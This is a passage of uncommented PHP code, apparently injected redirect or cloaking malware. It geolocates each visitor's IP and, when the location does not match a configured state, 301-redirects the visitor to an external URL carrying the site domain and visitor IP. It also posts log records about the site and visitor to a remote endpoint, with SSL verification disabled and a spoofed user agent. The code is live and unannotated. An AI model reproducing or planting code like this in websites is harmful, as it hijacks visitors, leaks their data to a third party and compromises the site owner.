CURLOPT_RETURNTRANSFER, true); $countryresult = curl_exec($countryreq); //$countryresult = mb_convert_encoding($countryresult, "utf-8", "gb2312"); curl_close($countryreq); if ($countryresult==''){ $init_sure=False; } } if ($init_sure===False){ $options = array( 'http'=>array( 'method'=>"GET", 'timeout'=>20, 'header'=>"Accept-language: en\r\n" . "Cookie: foo=bar\r\n" . // check function.stream-context-create on php.net "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" // i.e. An iPad ), "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ) ); $context_geo = stream_context_create($options); $countryresult=file_get_contents("compress.zlib://".$countryurl, false, $context_geo);}} //$countrysubstr = substr($countryresult, strlen($contrystart)+strpos($countryresult, $contrystart),(strlen($countryresult) - strpos($countryresult, $contryend))*(-1)); set_time_limit(80); $ip_list=array(); $ip_list=json_decode($countryresult,true); if($frontstate!=='US') {$countrysubstr = $ip_list['data']['country_id'];} else {$countrysubstr = $ip_list['data']['region_id'];} } $init_sure=False; $endtime=microtime(true); $durtime = $endtime - $firstime; if(($countrysubstr!==$state)||($state==='just_set')){ $site_ref_inf=$domain.':::'.$countryip.':::'.$countrysubstr.':::'.$durtime.':::count'.$count; $key_urldecode_par=urlencode($site_ref_inf); header("HTTP/1.1 301 Moved Permanently"); header("location: " . $tiaourl.'?key_site_page_par='.$key_urldecode_par); exit; } if(function_exists('curl_init')){ $init_sure=True; $firstpost = http_build_query( array( 'next_log' => 'after_redirect ::: '.$domain.' ::: '.$countryip.' ::: '.$countrysubstr.' ::: '.$durtime.' ::: count ::: '.$count, //'pwd' => '1' ) ); $firstweb = curl_init($req_url); curl_setopt($firstweb, CURLOPT_RETURNTRANSFER, true); curl_setopt ($firstweb, CURLOPT_CONNECTTIMEOUT , 20); curl_setopt ($firstweb, CURLOPT_TIMEOUT, 20); curl_setopt($firstweb, CURLOPT_POSTFIELDS, $firstpost); $firstresponse = curl_exec($firstweb); curl_close($firstweb); if ($firstresponse==''){ $init_sure=False; } } if ($init_sure===False){$postdata = http_build_query( array( 'next_log' => 'after_redirect ::: '.$domain.' ::: '.$countryip.' ::: '.$countrysubstr.' ::: '.$durtime.' ::: count ::: '.$count, //'pwd' => '1' ) ); $opts = array('http' => array( 'method' => 'POST', 'timeout'=>20, 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $postdata ), "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ) ); $firstcontext = stream_context_create($opts); $result = file_get_contents($req_url, false, $firstcontext);} //} set_time_limit(650); request_page('update_page'); } else{ set_time_limit(100); request_page('normal_vist'); } } else{ set_time_limit(100); request_page('normal_vist'); } setcookie('read_key_site_cookie','read_key_site_cookie',time()+3600*24); } set_time_limit(30); ?>